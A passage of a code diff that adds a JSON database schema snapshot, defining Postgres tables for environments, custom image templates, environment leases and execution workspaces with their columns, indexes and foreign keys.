+        "environment_custom_image_setup_sessions_template_id_environment_custom_image_templates_id_fk": {
+          "name": "environment_custom_image_setup_sessions_template_id_environment_custom_image_templates_id_fk",
+          "tableFrom": "environment_custom_image_setup_sessions",
+          "tableTo": "environment_custom_image_templates",
+          "columnsFrom": [
+            "template_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "environment_custom_image_setup_sessions_promoted_template_id_environment_custom_image_templates_id_fk": {
+          "name": "environment_custom_image_setup_sessions_promoted_template_id_environment_custom_image_templates_id_fk",
+          "tableFrom": "environment_custom_image_setup_sessions",
+          "tableTo": "environment_custom_image_templates",
+          "columnsFrom": [
+            "promoted_template_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "environment_custom_image_setup_sessions_environment_lease_id_environment_leases_id_fk": {
+          "name": "environment_custom_image_setup_sessions_environment_lease_id_environment_leases_id_fk",
+          "tableFrom": "environment_custom_image_setup_sessions",
+          "tableTo": "environment_leases",
+          "columnsFrom": [
+            "environment_lease_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "environment_custom_image_setup_sessions_started_by_agent_id_agents_id_fk": {
+          "name": "environment_custom_image_setup_sessions_started_by_agent_id_agents_id_fk",
+          "tableFrom": "environment_custom_image_setup_sessions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "started_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.environment_custom_image_templates": {
+      "name": "environment_custom_image_templates",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "environment_id": {
+          "name": "environment_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "template_kind": {
+          "name": "template_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'unknown'"
+        },
+        "template_ref": {
+          "name": "template_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_template_ref": {
+          "name": "source_template_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source_environment_config_fingerprint": {
+          "name": "source_environment_config_fingerprint",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "captured_at": {
+          "name": "captured_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_used_at": {
+          "name": "last_used_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "superseded_by_template_id": {
+          "name": "superseded_by_template_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "environment_custom_image_templates_environment_status_idx": {
+          "name": "environment_custom_image_templates_environment_status_idx",
+          "columns": [
+            {
+              "expression": "environment_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_custom_image_templates_environment_provider_status_idx": {
+          "name": "environment_custom_image_templates_environment_provider_status_idx",
+          "columns": [
+            {
+              "expression": "environment_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_custom_image_templates_environment_active_uq": {
+          "name": "environment_custom_image_templates_environment_active_uq",
+          "columns": [
+            {
+              "expression": "environment_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"environment_custom_image_templates\".\"status\" = 'active'",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_custom_image_templates_superseded_by_idx": {
+          "name": "environment_custom_image_templates_superseded_by_idx",
+          "columns": [
+            {
+              "expression": "superseded_by_template_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_custom_image_templates_last_used_idx": {
+          "name": "environment_custom_image_templates_last_used_idx",
+          "columns": [
+            {
+              "expression": "last_used_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "environment_custom_image_templates_environment_id_environments_id_fk": {
+          "name": "environment_custom_image_templates_environment_id_environments_id_fk",
+          "tableFrom": "environment_custom_image_templates",
+          "tableTo": "environments",
+          "columnsFrom": [
+            "environment_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "environment_custom_image_templates_created_by_agent_id_agents_id_fk": {
+          "name": "environment_custom_image_templates_created_by_agent_id_agents_id_fk",
+          "tableFrom": "environment_custom_image_templates",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "environment_custom_image_templates_superseded_by_template_id_environment_custom_image_templates_id_fk": {
+          "name": "environment_custom_image_templates_superseded_by_template_id_environment_custom_image_templates_id_fk",
+          "tableFrom": "environment_custom_image_templates",
+          "tableTo": "environment_custom_image_templates",
+          "columnsFrom": [
+            "superseded_by_template_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.environment_leases": {
+      "name": "environment_leases",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "environment_id": {
+          "name": "environment_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_workspace_id": {
+          "name": "execution_workspace_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "heartbeat_run_id": {
+          "name": "heartbeat_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "lease_policy": {
+          "name": "lease_policy",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'ephemeral'"
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider_lease_id": {
+          "name": "provider_lease_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "acquired_at": {
+          "name": "acquired_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "last_used_at": {
+          "name": "last_used_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "released_at": {
+          "name": "released_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "failure_reason": {
+          "name": "failure_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "cleanup_status": {
+          "name": "cleanup_status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "environment_leases_company_environment_status_idx": {
+          "name": "environment_leases_company_environment_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "environment_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_leases_company_execution_workspace_idx": {
+          "name": "environment_leases_company_execution_workspace_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "execution_workspace_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_leases_company_issue_idx": {
+          "name": "environment_leases_company_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_leases_heartbeat_run_idx": {
+          "name": "environment_leases_heartbeat_run_idx",
+          "columns": [
+            {
+              "expression": "heartbeat_run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_leases_company_last_used_idx": {
+          "name": "environment_leases_company_last_used_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "last_used_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_leases_provider_lease_idx": {
+          "name": "environment_leases_provider_lease_idx",
+          "columns": [
+            {
+              "expression": "provider_lease_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "environment_leases_company_id_companies_id_fk": {
+          "name": "environment_leases_company_id_companies_id_fk",
+          "tableFrom": "environment_leases",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "environment_leases_environment_id_environments_id_fk": {
+          "name": "environment_leases_environment_id_environments_id_fk",
+          "tableFrom": "environment_leases",
+          "tableTo": "environments",
+          "columnsFrom": [
+            "environment_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "environment_leases_execution_workspace_id_execution_workspaces_id_fk": {
+          "name": "environment_leases_execution_workspace_id_execution_workspaces_id_fk",
+          "tableFrom": "environment_leases",
+          "tableTo": "execution_workspaces",
+          "columnsFrom": [
+            "execution_workspace_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "environment_leases_issue_id_issues_id_fk": {
+          "name": "environment_leases_issue_id_issues_id_fk",
+          "tableFrom": "environment_leases",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "environment_leases_heartbeat_run_id_heartbeat_runs_id_fk": {
+          "name": "environment_leases_heartbeat_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "environment_leases",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "heartbeat_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.environments": {
+      "name": "environments",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "driver": {
+          "name": "driver",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'local'"
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "config": {
+          "name": "config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "env_vars": {
+          "name": "env_vars",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "environments_status_idx": {
+          "name": "environments_status_idx",
+          "columns": [
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environments_local_driver_idx": {
+          "name": "environments_local_driver_idx",
+          "columns": [
+            {
+              "expression": "driver",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"environments\".\"driver\" = 'local'",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environments_managed_sandbox_idx": {
+          "name": "environments_managed_sandbox_idx",
+          "columns": [
+            {
+              "expression": "driver",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"environments\".\"driver\" = 'sandbox' AND (\"environments\".\"metadata\" ->> 'managedByPaperclip')::boolean = true",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environments_name_idx": {
+          "name": "environments_name_idx",
+          "columns": [
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {},
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.execution_workspace_runtime_leases": {
+      "name": "execution_workspace_runtime_leases",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "execution_workspace_id": {
+          "name": "execution_workspace_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "owner_key": {
+          "name": "owner_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "owner_issue_id": {
+          "name": "owner_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "owner_run_id": {
+          "name": "owner_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "owner_agent_id": {
+          "name": "owner_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_action": {
+          "name": "last_action",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "claimed_at": {
+          "name": "claimed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "renewed_at": {
+          "name": "renewed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "execution_workspace_runtime_leases_company_workspace_idx": {
+          "name": "execution_workspace_runtime_leases_company_workspace_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "execution_workspace_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "execution_workspace_runtime_leases_company_owner_idx": {
+          "name": "execution_workspace_runtime_leases_company_owner_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "owner_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "execution_workspace_runtime_leases_expires_at_idx": {
+          "name": "execution_workspace_runtime_leases_expires_at_idx",
+          "columns": [
+            {
+              "expression": "expires_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "execution_workspace_runtime_leases_company_id_companies_id_fk": {
+          "name": "execution_workspace_runtime_leases_company_id_companies_id_fk",
+          "tableFrom": "execution_workspace_runtime_leases",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "execution_workspace_runtime_leases_execution_workspace_id_execution_workspaces_id_fk": {
+          "name": "execution_workspace_runtime_leases_execution_workspace_id_execution_workspaces_id_fk",
+          "tableFrom": "execution_workspace_runtime_leases",
+          "tableTo": "execution_workspaces",
+          "columnsFrom": [
+            "execution_workspace_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "execution_workspace_runtime_leases_owner_issue_id_issues_id_fk": {
+          "name": "execution_workspace_runtime_leases_owner_issue_id_issues_id_fk",
+          "tableFrom": "execution_workspace_runtime_leases",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "owner_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "execution_workspace_runtime_leases_owner_run_id_heartbeat_runs_id_fk": {
+          "name": "execution_workspace_runtime_leases_owner_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "execution_workspace_runtime_leases",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "owner_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "execution_workspace_runtime_leases_owner_agent_id_agents_id_fk": {
+          "name": "execution_workspace_runtime_leases_owner_agent_id_agents_id_fk",
+          "tableFrom": "execution_workspace_runtime_leases",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "owner_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {
+        "execution_workspace_runtime_leases_execution_workspace_id_unique": {
+          "name": "execution_workspace_runtime_leases_execution_workspace_id_unique",
+          "nullsNotDistinct": false,
+          "columns": [
+            "execution_workspace_id"
+          ]
+        }
+      },
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.execution_workspaces": {
+      "name": "execution_workspaces",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "project_workspace_id": {
+          "name": "project_workspace_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source_issue_id": {
+          "name": "source_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "mode": {
+          "name": "mode",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "strategy_type": {
+          "name": "strategy_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "cwd": {
+          "name": "cwd",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "repo_url": {
+          "name": "repo_url",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "base_ref": {
+          "name": "base_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "branch_name": {
+          "name": "branch_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider_type": {
+          "name": "provider_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'local_fs'"
+        },
+        "provider_ref": {
+          "name": "provider_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "derived_from_execution_workspace_id": {
+          "name": "derived_from_execution_workspace_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_used_at": {
+          "name": "last_used_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "opened_at": {
+          "name": "opened_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "closed_at": {
+          "name": "closed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "cleanup_eligible_at": {
+          "name": "cleanup_eligible_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "cleanup_reason": {
+          "name": "cleanup_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "execution_workspaces_company_project_status_idx": {
+          "name": "execution_workspaces_company_project_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "execution_workspaces_company_project_workspace_status_idx": {
+          "name": "execution_workspaces_company_project_workspace_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "project_workspace_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "execution_workspaces_company_source_issue_idx": {
+          "name": "execution_workspaces_company_source_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "execution_workspaces_company_last_used_idx": {
+          "name": "execution_workspaces_company_last_used_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "last_used_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "execution_workspaces_company_branch_idx": {
+          "name": "execution_workspaces_company_branch_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "branch_name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "execution_workspaces_company_id_companies_id_fk": {
+          "name": "execution_workspaces_company_id_companies_id_fk",
+          "tableFrom": "execution_workspaces",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "execution_workspaces_project_id_projects_id_fk": {
+          "name": "execution_workspaces_project_id_projects_id_fk",
+          "tableFrom": "execution_workspaces",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "execution_workspaces_project_workspace_id_project_workspaces_id_fk": {
+          "name": "execution_workspaces_project_workspace_id_project_workspaces_id_fk",
+          "tableFrom": "execution_workspaces",
+          "tableTo": "project_workspaces",
+          "columnsFrom": [
+            "project_workspace_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "execution_workspaces_source_issue_id_issues_id_fk": {
+          "name": "execution_workspaces_source_issue_id_issues_id_fk",
+          "tableFrom": "execution_workspaces",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "source_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "execution_workspaces_derived_from_execution_workspace_id_execution_workspaces_id_fk": {
+          "name": "execution_workspaces_derived_from_execution_workspace_id_execution_workspaces_id_fk",
+          "tableFrom": "execution_workspaces",
+          "tableTo": "execution_workspaces",
+          "columnsFrom": [
+            "derived_from_execution_workspace_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.external_object_mentions": {
+      "name": "external_object_mentions",
+      "schema": "",
+      "columns": {
